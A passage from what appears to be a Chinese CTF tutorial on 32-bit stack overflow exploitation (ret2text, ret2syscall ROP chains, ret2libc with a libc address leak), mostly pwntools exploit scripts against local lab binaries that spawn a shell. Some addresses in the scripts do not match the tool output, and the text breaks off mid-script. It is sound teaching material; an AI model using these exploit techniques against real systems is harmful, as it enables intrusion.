<h2 id= "检查保护" > <a href= "#检查保护" class= "headerlink" title= "检查保护" > </a> 检查保护</h2> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ checksec ret2text</span> <br > <span class= "line" > [*] ' /home/han/ck/pwn/linux/ret2text/ret2text' </span> <br > <span class= "line" > Arch: i386-32-little</span> <br > <span class= "line" > RELRO: Partial RELRO</span> <br > <span class= "line" > Stack: No canary found</span> <br > <span class= "line" > NX: NX enabled</span> <br > <span class= "line" > PIE: No PIE (0x8048000)</span> <br > </pre> </td> </tr> </table> </figure>
<p > 开启了DEP, 问题不大, 因为执行的已有的代码</p>
<h2 id= "检查危险函数" > <a href= "#检查危险函数" class= "headerlink" title= "检查危险函数" > </a> 检查危险函数</h2> <figure class= "highlight c" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > int</span> __<span class= "function" > cdecl <span class= "title" > main</span> <span class= "params" > (<span class= "keyword" > int</span> argc, <span class= "keyword" > const</span> <span class= "keyword" > char</span> **argv, <span class= "keyword" > const</span> <span class= "keyword" > char</span> **envp)</span> </span> </span> <br > <span class= "line" > <span class= "function" > </span> { </span> <br > <span class= "line" > <span class= "keyword" > int</span> v4; <span class= "comment" > // [sp+1Ch] [bp-64h]@1</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > setvbuf(<span class= "built_in" > stdout</span> , <span class= "number" > 0</span> , <span class= "number" > 2</span> , <span class= "number" > 0</span> );</span> <br > <span class= "line" > setvbuf(_bss_start, <span class= "number" > 0</span> , <span class= "number" > 1</span> , <span class= "number" > 0</span> );</span> <br > <span class= "line" > <span class= "built_in" > puts</span> (<span class= "string" > "There is something amazing here, do you know anything?"</span> );</span> <br > <span class= "line" > gets((<span class= "keyword" > char</span> *)& v4);</span> <br > <span class= "line" > <span class= "built_in" > printf</span> (<span class= "string" > "Maybe I will tell you next time !"</span> );</span> <br > <span class= "line" > <span class= "keyword" > return</span> <span class= "number" > 0</span> ;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
<p > 同样还是gets函数</p>
<h2 id= "计算偏移" > <a href= "#计算偏移" class= "headerlink" title= "计算偏移" > </a> 计算偏移</h2> <p > 和上一个一样, 0x6c+4</p>
<h2 id= "寻找跳板" > <a href= "#寻找跳板" class= "headerlink" title= "寻找跳板" > </a> 寻找跳板</h2> <p > 在代码段发现调用 system(“/bin/sh”) 的代码, 那么直接将ret覆盖为0804863A就能拿到shell<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > .text:0804862D call ___isoc99_scanf</span> <br > <span class= "line" > .text:08048632 mov eax, [ebp+input]</span> <br > <span class= "line" > .text:08048635 cmp eax, [ebp+secretcode]</span> <br > <span class= "line" > .text:08048638 jnz short locret_8048646</span> <br > <span class= "line" > .text:0804863A mov dword ptr [esp], offset command ; " /bin/sh" </span> <br > <span class= "line" > .text:08048641 call _system</span> <br > <span class= "line" > .text:08048646</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "测试" > <a href= "#测试" class= "headerlink" title= "测试" > </a> 测试</h2> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > from pwn import *</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(' ./ret2text' )</span> <br > <span class= "line" > ret_add = 0x0804863A</span> <br > <span class= "line" > offset = 0x6c + 4</span> <br > <span class= "line" > </span> <br > <span class= "line" > payload = ' A' *offset + p32(ret_add)</span> <br > <span class= "line" > print(p32(ret_add))</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.sendline(payload)</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.interactive()</span> <br > </pre> </td> </tr> </table> </figure>
<hr >
<h1 id= "0x03-ret2syscall" > <a href= "#0x03-ret2syscall" class= "headerlink" title= "0x03 ret2syscall" > </a> 0x03 ret2syscall</h1> <h2 id= "原理-2" > <a href= "#原理-2" class= "headerlink" title= "原理" > </a> 原理</h2> <p > ret2syscall, 即控制程序执行系统调用, 获取 shell。上一个可以在代码段找到system(‘ /bin/sh’ ),<br > 如果没法找到的话,我们就得自己去构造系统调用<br > 简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell<br > <code > execve(" /bin/sh" ,NULL,NULL)</code> <br > 其中,该程序是 32 位,所以我们需要使得<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 系统调用号,即 eax 应该为 0xb</span> <br > <span class= "line" > 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。</span> <br > <span class= "line" > 第二个参数,即 ecx 应该为 0</span> <br > <span class= "line" > 第三个参数,即 edx 应该为 0</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "获取跳板" > <a href= "#获取跳板" class= "headerlink" title= "获取跳板" > </a> 获取跳板</h2> <p > 那么我们如何去控制这4个寄存器的值, 我们现在修改的只有栈中的数据, 这里就需要使用 gadgets。比如说, 现在栈顶是 10, 那么如果此时执行了 pop eax, 那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器, 所以我们需要一段一段控制, 这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。<br > 首先,我们来寻找控制 eax 的 gadgets<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ROPgadget --binary ret2syscall --only ' pop|ret' |grep eax</span> <br > <span class= "line" > 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret</span> <br > <span class= "line" > 0x080bb196 : pop eax ; ret</span> <br > <span class= "line" > 0x0807217a : pop eax ; ret 0x80e</span> <br > <span class= "line" > 0x0804f704 : pop eax ; ret 3</span> <br > <span class= "line" > 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 类似的,我们可以得到控制其它寄存器的 gadgets<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ROPgadget --binary ret2syscall --only ' pop|ret' |grep ebx</span> <br > <span class= "line" > 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret</span> <br > <span class= "line" > 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret</span> <br > <span class= "line" > 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret</span> <br > <span class= "line" > 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret</span> <br > <span class= "line" > 0x080be23f : pop ebx ; pop edi ; ret</span> <br > <span class= "line" > 0x0806eb69 : pop ebx ; pop edx ; ret</span> <br > <span class= "line" > 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret</span> <br > <span class= "line" > 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span> <br > <span class= "line" > 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10</span> <br > <span class= "line" > 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14</span> <br > <span class= "line" > 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc</span> <br > <span class= "line" > 0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4</span> <br > <span class= "line" > 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8</span> <br > <span class= "line" > 0x08048913 : pop ebx ; pop esi ; pop edi ; ret</span> <br > <span class= "line" > 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4</span> <br > <span class= "line" > 0x08049a94 : pop ebx ; pop esi ; ret</span> <br > <span class= "line" > 0x080481c9 : pop ebx ; ret</span> <br > <span class= "line" > 0x080d7d3c : pop ebx ; ret 0x6f9</span> <br > <span class= "line" > 0x08099c87 : pop ebx ; ret 8</span> <br > <span class= "line" > 0x0806eb91 : pop ecx ; pop ebx ; ret</span> <br > <span class= "line" > 0x0806336b : pop edi ; pop esi ; pop ebx ; ret</span> <br > <span class= "line" > 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret</span> <br > <span class= "line" > 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret</span> <br > <span class= "line" > 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret</span> <br > <span class= "line" > 0x0805c820 : pop esi ; pop ebx ; ret</span> <br > <span class= "line" > 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span> <br > <span class= "line" > 0x0807b6ed : pop ss ; pop ebx ; ret</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 现在, 我们就得到了可以控制4个寄存器的地址: <br > <code > 0x080bb196 : pop eax ; ret</code> <br > <code > 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret</code> </p>
<p > 另外, 我们要向ebx写入’ /bin/sh’ , 同时执行int 80<br > 所以要搜索,看看程序中有没有<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ROPgadget --binary ret2syscall --only int</span> <br > <span class= "line" > Gadgets information</span> <br > <span class= "line" > ============================================================</span> <br > <span class= "line" > 0x08049421 : int 0x80</span> <br > <span class= "line" > 0x080938fe : int 0xbb</span> <br > <span class= "line" > 0x080869b5 : int 0xf6</span> <br > <span class= "line" > 0x0807b4d4 : int 0xfc</span> <br > <span class= "line" > </span> <br > <span class= "line" > Unique gadgets found: 4</span> <br > </pre> </td> </tr> </table> </figure> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ROPgadget --binary ret2syscall --string ' /bin/sh' </span> <br > <span class= "line" > Strings information</span> <br > <span class= "line" > ============================================================</span> <br > <span class= "line" > 0x080be42c : /bin/sh</span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "测试-1" > <a href= "#测试-1" class= "headerlink" title= "测试" > </a> 测试</h2> <figure class= "highlight python" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > from</span> pwn <span class= "keyword" > import</span> *</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(<span class= "string" > './ret2syscall'</span> )</span> <br > <span class= "line" > offset = <span class= "number" > 0x6c</span> + <span class= "number" > 4</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > pop_eax_ret = <span class= "number" > 0x080bb196</span> </span> <br > <span class= "line" > pop_edx_ecx_ebx_ret = <span class= "number" > 0x0806eb90</span> </span> <br > <span class= "line" > binsh = <span class= "number" > 0x080be408</span> </span> <br > <span class= "line" > int_0x80 = <span class= "number" > 0x08049421</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > payload = <span class= "string" > 'A'</span> *offset + p32(pop_eax_ret) + p32(<span class= "number" > 0xb</span> ) + p32(pop_edx_ecx_ebx_ret) + p32(<span class= "number" > 0</span> ) + p32(<span class= "number" > 0</span> ) + p32(binsh) + p32(int_0x80)</span> <br > <span class= "line" > </span> <br > <span class= "line" > </span> <br > <span class= "line" > payload = flat(<span class= "string" > 'A'</span> *offset , pop_eax_ret , <span class= "number" > 0xb</span> , pop_edx_ecx_ebx_ret , <span class= "number" > 0</span> , <span class= "number" > 0</span> , binsh,int_0x80)</span> <br > <span class= "line" > print(payload)</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.sendline(payload)</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.interactive()</span> <br > </pre> </td> </tr> </table> </figure>
<blockquote >
<ol >
<li > flat()<br > 在pwntools中可以用flat()來构造rop, 参数传递用list來传, list中的element为想串接的rop gadget地址, 简单来说就是可以把: rop = p32(gadget1) + p32(gadget2) + p32(gadget3) ……变成这样表示: flat([gadget1,gadget2,gadget3,……])</li>
</ol>
</blockquote>
<hr >
<h1 id= "0x04-ret2libc" > <a href= "#0x04-ret2libc" class= "headerlink" title= "0x04 ret2libc" > </a> 0x04 ret2libc</h1> <h2 id= "原理-3" > <a href= "#原理-3" class= "headerlink" title= "原理" > </a> 原理</h2> <p > 我们知道程序调用了libc.so, 并且libc.so里保存了大量可利用的函数, 我们如果可以让程序执行system(“/bin/sh”)的话, 也可以获取到shell。既然思路有了, 那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址, 通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)</p>
<h2 id= "1-程序中有system和’ -bin-sh’ " > <a href= "#1-程序中有system和’ -bin-sh’ " class= "headerlink" title= "1. 程序中有system和’ /bin/sh’ " > </a> 1. 程序中有system和’ /bin/sh’ </h2> <h3 id= "检查保护-1" > <a href= "#检查保护-1" class= "headerlink" title= "检查保护" > </a> 检查保护</h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ checksec ret2libc1</span> <br > <span class= "line" > [*] ' /home/han/ck/pwn/linux/ret2libc/ret2libc1' </span> <br > <span class= "line" > Arch: i386-32-little</span> <br > <span class= "line" > RELRO: Partial RELRO</span> <br > <span class= "line" > Stack: No canary found</span> <br > <span class= "line" > NX: NX enabled</span> <br > <span class= "line" > PIE: No PIE (0x8048000)</span> <br > </pre> </td> </tr> </table> </figure>
<h3 id= "确定漏洞位置" > <a href= "#确定漏洞位置" class= "headerlink" title= "确定漏洞位置" > </a> 确定漏洞位置</h3> <figure class= "highlight c" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > int</span> __<span class= "function" > cdecl <span class= "title" > main</span> <span class= "params" > (<span class= "keyword" > int</span> argc, <span class= "keyword" > const</span> <span class= "keyword" > char</span> **argv, <span class= "keyword" > const</span> <span class= "keyword" > char</span> **envp)</span> </span> </span> <br > <span class= "line" > <span class= "function" > </span> { </span> <br > <span class= "line" > <span class= "keyword" > int</span> v4; <span class= "comment" > // [sp+1Ch] [bp-64h]@1</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > setvbuf(<span class= "built_in" > stdout</span> , <span class= "number" > 0</span> , <span class= "number" > 2</span> , <span class= "number" > 0</span> );</span> <br > <span class= "line" > setvbuf(_bss_start, <span class= "number" > 0</span> , <span class= "number" > 1</span> , <span class= "number" > 0</span> );</span> <br > <span class= "line" > <span class= "built_in" > puts</span> (<span class= "string" > "RET2LIBC > _< "</span> );</span> <br > <span class= "line" > gets((<span class= "keyword" > char</span> *)& v4);</span> <br > <span class= "line" > <span class= "keyword" > return</span> <span class= "number" > 0</span> ;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
<h3 id= "计算偏移-1" > <a href= "#计算偏移-1" class= "headerlink" title= "计算偏移" > </a> 计算偏移</h3> <h3 id= "寻找跳板-1" > <a href= "#寻找跳板-1" class= "headerlink" title= "寻找跳板" > </a> 寻找跳板</h3> <ol >
<li > <p > system_plt</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > .plt:08048460 _system proc near ; CODE XREF: secure+44 p</span> <br > <span class= "line" > .plt:08048460 jmp ds:off_804A018</span> <br > <span class= "line" > .plt:08048460 _system endp</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > ‘ binsh’ </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ROPgadget --binary ret2libc1 --string ' /bin/sh' </span> <br > <span class= "line" > Strings information</span> <br > <span class= "line" > ============================================================</span> <br > <span class= "line" > 0x08048744 : /bin/sh</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<h3 id= "pwn测试-2" > <a href= "#pwn测试-2" class= "headerlink" title= "pwn测试" > </a> pwn测试</h3> <figure class= "highlight python" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > from</span> pwn <span class= "keyword" > import</span> *</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(<span class= "string" > './ret2libc1'</span> )</span> <br > <span class= "line" > </span> <br > <span class= "line" > offset =<span class= "number" > 112</span> </span> <br > <span class= "line" > binsh = <span class= "number" > 0x08048720</span> </span> <br > <span class= "line" > system_plt = <span class= "number" > 0x08048460</span> </span> <br > <span class= "line" > fake_ret = <span class= "string" > 'bbbb'</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > payload = flat([<span class= "string" > 'a'</span> *offset,system_plt,fake_ret,binsh])</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.sendline(payload)</span> <br > <span class= "line" > p.interactive()</span> <br > </pre> </td> </tr> </table> </figure>
<p > fake_ret是调用system之后的返回地址, binsh就是system的参数</p>
<h2 id= "2-没有binsh" > <a href= "#2-没有binsh" class= "headerlink" title= "2. 没有binsh" > </a> 2. 没有binsh</h2> <p > 需要我们自己来读取字符串,所以我们需要两个 gadgets, 第一个控制程序读取字符串, 使用gets将’ /bin/sh’ 写入程序某个位置, 第二个控制程序执行 system(“/bin/sh”)。</p>
<p > 我们在.bss段发现了未利用的buf2, 可以把binsh写入buf2<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > .bss:0804A080 public buf2</span> <br > <span class= "line" > .bss:0804A080 ; char buf2[100]</span> <br > <span class= "line" > .bss:0804A080 buf2 db 64h dup(?)</span> <br > <span class= "line" > .bss:0804A080 _bss ends</span> <br > </pre> </td> </tr> </table> </figure> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > from pwn import *</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(' ./ret2libc2' )</span> <br > <span class= "line" > </span> <br > <span class= "line" > gets_plt = 0x08048460</span> <br > <span class= "line" > pop_ebx = 0x0804843d</span> <br > <span class= "line" > system_plt = 0x08048490</span> <br > <span class= "line" > buf2_add = 0x804a080</span> <br > <span class= "line" > </span> <br > <span class= "line" > payload = flat([' a' *112,gets_plt,pop_ebx,buf2_add,system_plt,0xdeadbeef,buf2_add])</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.sendline(payload)</span> <br > <span class= "line" > p.sendline(' /bin/sh' )</span> <br > <span class= "line" > p.interactive()</span> <br > </pre> </td> </tr> </table> </figure>
<p > buf2_add是gets的参数, pop_ebx将gets返回后的堆栈平衡, 移交控制权给system</p>
<h2 id= "3-两个都没有-amp-无ASLR" > <a href= "#3-两个都没有-amp-无ASLR" class= "headerlink" title= "3. 两个都没有&无ASLR" > </a> 3. 两个都没有& 无ASLR</h2> <p > 程序中两个都没有, 但是我们可以利用libc中的system和’ /bin/sh’ <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ checksec ret2libc3</span> <br > <span class= "line" > [*] ' /home/han/ck/pwn/linux/ret2libc/ret2libc3' </span> <br > <span class= "line" > Arch: i386-32-little</span> <br > <span class= "line" > RELRO: Partial RELRO</span> <br > <span class= "line" > Stack: No canary found</span> <br > <span class= "line" > NX: NX enabled</span> <br > <span class= "line" > PIE: No PIE (0x8048000)</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h3 id= "寻找跳板-2" > <a href= "#寻找跳板-2" class= "headerlink" title= "寻找跳板" > </a> 寻找跳板</h3> <p > 这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。<br > 我们首先在main函数上下一个断点, 然后执行程序, 这样的话程序会加载libc.so到内存中, 然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置, 随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置, 接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xf7e19d10以及”/bin/sh”的地址0xf7f588cf。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > Breakpoint 1, main () at ret2libcGOT.c:20</span> <br > <span class= "line" > 20 ret2libcGOT.c: No such file or directory.</span> <br > <span class= "line" > gdb-peda$ print system</span> <br > <span class= "line" > $1 = { < text variable, no debug info> } 0xf7e19d10 < system> </span> <br > <span class= "line" > gdb-peda$ print __libc_start_main</span> <br > <span class= "line" > $2 = { < text variable, no debug info> } 0xf7df5d90 < __libc_start_main> </span> <br > <span class= "line" > gdb-peda$ find 0xf7df5d90,+2200000," /bin/sh" </span> <br > <span class= "line" > Searching for ' 0xf7df5d90,+2200000,/bin/sh' in: None ranges</span> <br > <span class= "line" > Search for a pattern in memory; support regex search</span> <br > <span class= "line" > Usage:</span> <br > <span class= "line" > searchmem pattern start end</span> <br > <span class= "line" > searchmem pattern mapname</span> <br > <span class= "line" > </span> <br > <span class= "line" > gdb-peda$ find " /bin/sh" </span> <br > <span class= "line" > Searching for ' /bin/sh' in: None ranges</span> <br > <span class= "line" > Found 1 results, display max 1 items:</span> <br > <span class= "line" > libc : 0xf7f588cf (" /bin/sh" )</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h3 id= "测试-2" > <a href= "#测试-2" class= "headerlink" title= "测试" > </a> 测试</h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > from pwn import *</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(' ./ret2libc3' )</span> <br > <span class= "line" > </span> <br > <span class= "line" > offset = 112</span> <br > <span class= "line" > system_addr = 0xf7e19d10</span> <br > <span class= "line" > binsh = 0xf7f588cf</span> <br > <span class= "line" > </span> <br > <span class= "line" > payload = flat([' a' *112,system_addr,0xdeabeef,binsh])</span> <br > <span class= "line" > </span> <br > <span class= "line" > p.sendline(payload)</span> <br > <span class= "line" > p.interactive()</span> <br > </pre> </td> </tr> </table> </figure>
<hr >
<h2 id= "4-两个都没有-amp-有ASLR" > <a href= "#4-两个都没有-amp-有ASLR" class= "headerlink" title= "4. 两个都没有&有ASLR" > </a> 4. 两个都没有& 有ASLR</h2> <p > 通过<code > sudo cat /proc/[pid]/maps</code> 或者<code > ldd</code> 查看, 你会发现libc.so地址每次都是变化的<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ldd ret2libc3</span> <br > <span class= "line" > linux-gate.so.1 (0xf7f43000)</span> <br > <span class= "line" > libc.so.6 => /lib32/libc.so.6 (0xf7d4c000)</span> <br > <span class= "line" > /lib/ld-linux.so.2 (0xf7f45000)</span> <br > <span class= "line" > </span> <br > <span class= "line" > han at ubuntu in ~/ck/pwn/linux/ret2libc</span> <br > <span class= "line" > $ ldd ret2libc3</span> <br > <span class= "line" > linux-gate.so.1 (0xf7f96000)</span> <br > <span class= "line" > libc.so.6 => /lib32/libc.so.6 (0xf7d9f000)</span> <br > <span class= "line" > /lib/ld-linux.so.2 (0xf7f98000)</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 那么如何解决地址随机化的问题呢? 思路是: 我们需要先泄漏出libc.so某些函数在内存中的地址, 然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址, 然后再执行我们的ret2libc的shellcode。既然栈, libc, heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢? 方法还是有的, 因为程序本身在内存中的地址并不是随机的, 如图所示: </p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1563267241/pwn/4a7227aa9f00bd2fd45d363da4cf25c6fd425638.jpg" a l t > <br > 也就是说程序内存映像是没有随机的</p>
<p > 首先我们利用<code > objdump</code> 来查看可以利用的plt函数和函数对应的got表: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ objdump -d -j .plt ./ret2libc3</span> <br > <span class= "line" > </span> <br > <span class= "line" > ./ret2libc3: file format elf32-i386</span> <br > <span class= "line" > </span> <br > <span class= "line" > </span> <br > <span class= "line" > Disassembly of section .plt:</span> <br > <span class= "line" > </span> <br > <span class= "line" > 08048420 < .plt> :</span> <br > <span class= "line" > 8048420: ff 35 04 a0 04 08 pushl 0x804a004</span> <br > <span class= "line" > 8048426: ff 25 08 a0 04 08 jmp *0x804a008</span> <br > <span class= "line" > 804842c: 00 00 add %al,(%eax)</span> <br > <span class= "line" > ...</span> <br > <span class= "line" > </span> <br > <span class= "line" > 08048430 < printf@plt> :</span> <br > <span class= "line" > 8048430: ff 25 0c a0 04 08 jmp *0x804a00c</span> <br > <span class= "line" > 8048436: 68 00 00 00 00 push $0x0</span> <br > <span class= "line" > 804843b: e9 e0 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 08048440 < gets@plt> :</span> <br > <span class= "line" > 8048440: ff 25 10 a0 04 08 jmp *0x804a010</span> <br > <span class= "line" > 8048446: 68 08 00 00 00 push $0x8</span> <br > <span class= "line" > 804844b: e9 d0 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 08048450 < time@plt> :</span> <br > <span class= "line" > 8048450: ff 25 14 a0 04 08 jmp *0x804a014</span> <br > <span class= "line" > 8048456: 68 10 00 00 00 push $0x10</span> <br > <span class= "line" > 804845b: e9 c0 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 08048460 < puts@plt> :</span> <br > <span class= "line" > 8048460: ff 25 18 a0 04 08 jmp *0x804a018</span> <br > <span class= "line" > 8048466: 68 18 00 00 00 push $0x18</span> <br > <span class= "line" > 804846b: e9 b0 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 08048470 < __gmon_start__@plt> :</span> <br > <span class= "line" > 8048470: ff 25 1c a0 04 08 jmp *0x804a01c</span> <br > <span class= "line" > 8048476: 68 20 00 00 00 push $0x20</span> <br > <span class= "line" > 804847b: e9 a0 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 08048480 < srand@plt> :</span> <br > <span class= "line" > 8048480: ff 25 20 a0 04 08 jmp *0x804a020</span> <br > <span class= "line" > 8048486: 68 28 00 00 00 push $0x28</span> <br > <span class= "line" > 804848b: e9 90 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 08048490 < __libc_start_main@plt> :</span> <br > <span class= "line" > 8048490: ff 25 24 a0 04 08 jmp *0x804a024</span> <br > <span class= "line" > 8048496: 68 30 00 00 00 push $0x30</span> <br > <span class= "line" > 804849b: e9 80 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 080484a0 < setvbuf@plt> :</span> <br > <span class= "line" > 80484a0: ff 25 28 a0 04 08 jmp *0x804a028</span> <br > <span class= "line" > 80484a6: 68 38 00 00 00 push $0x38</span> <br > <span class= "line" > 80484ab: e9 70 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 080484b0 < rand@plt> :</span> <br > <span class= "line" > 80484b0: ff 25 2c a0 04 08 jmp *0x804a02c</span> <br > <span class= "line" > 80484b6: 68 40 00 00 00 push $0x40</span> <br > <span class= "line" > 80484bb: e9 60 ff ff ff jmp 8048420 < .plt> </span> <br > <span class= "line" > </span> <br > <span class= "line" > 080484c0 < __isoc99_scanf@plt> :</span> <br > <span class= "line" > 80484c0: ff 25 30 a0 04 08 jmp *0x804a030</span> <br > <span class= "line" > 80484c6: 68 48 00 00 00 push $0x48</span> <br > <span class= "line" > 80484cb: e9 50 ff ff ff jmp 804842
<p > 思路: 通过puts@plt打印出<strong > libc_start_main在内存中的地址, 也就是</strong> libc_start_main@got。<br > 既然puts()函数实现是在libc.so当中, 那我们调用的puts@plt()函数为什么也能实现puts()功能呢? 这是因为linux采用了<strong > 延时绑定技术</strong> , 当我们调用puts@plt()的时候, 系统会将真正的puts()函数地址link到got表的puts.got中, 然后puts@plt()会根据puts.got 跳转到真正的puts()函数上去。<br > 由于 libc 的延迟绑定机制,我们需要泄漏<strong > 已经执行过的函数的地址</strong> 。这里我们泄露 libc_start_main 的地址,这是因为它是程序<strong > 最初被执行</strong> 的地方。</p>
<p > 使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录, 因为我们的exp需要这个so文件来计算相对地址: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ldd ret2libc3</span> <br > <span class= "line" > linux-gate.so.1 (0xf7f6b000)</span> <br > <span class= "line" > libc.so.6 => /lib32/libc.so.6 (0xf7d74000)</span> <br > <span class= "line" > /lib/ld-linux.so.2 (0xf7f6d000)</span> <br > <span class= "line" > </span> <br > <span class= "line" > han at ubuntu in ~/ck/pwn/linux/ret2libc</span> <br > <span class= "line" > $ cp /lib32/libc.so.6 libc.so</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h3 id= "pwn测试-3" > <a href= "#pwn测试-3" class= "headerlink" title= "pwn测试" > </a> pwn测试</h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > from pwn import *</span> <br > <span class= "line" > from LibcSearcher import LibcSearcher</span> <br > <span class= "line" > </span> <br > <span class= "line" > p = process(' ./ret2libc3' )</span> <br > <span class= "line" > elf = ELF(' ./ret2libc3' )</span> <br > <span class= "line" > libc = ELF(' ./libc.so' )</span> <br > <span class= "line" > </span> <br > <span class= "line" > puts_plt = elf.plt[' puts' ]</span> <br > <span class= "line" > libc_start_main_got =elf.got[' __libc_start_main' ]</span> <br > <span class= "line" > main = elf.symbols[' main' ]</span> <br > <span class= "line" > </span> <br > <span class= "line" > print(" leak libc_start_main_got addr and return to main again" )</span> <br > <span class= "line" > payload = flat([' a' *112],puts_plt,main,libc_start_main_got)</span> <br > <span class= "line" > p.sendlineafter(' Can you find it !?' ,payload)</span> <br > <span class= "line" > </span> <br > <span class= "line" > print(" receiving libc_start_main_got" )</span> <br > <span class= "line" > libc_start_main_addr = u32(p.recv(4))</span> <br > <span class= "line" > print(' libc_start_main_addr = ' + 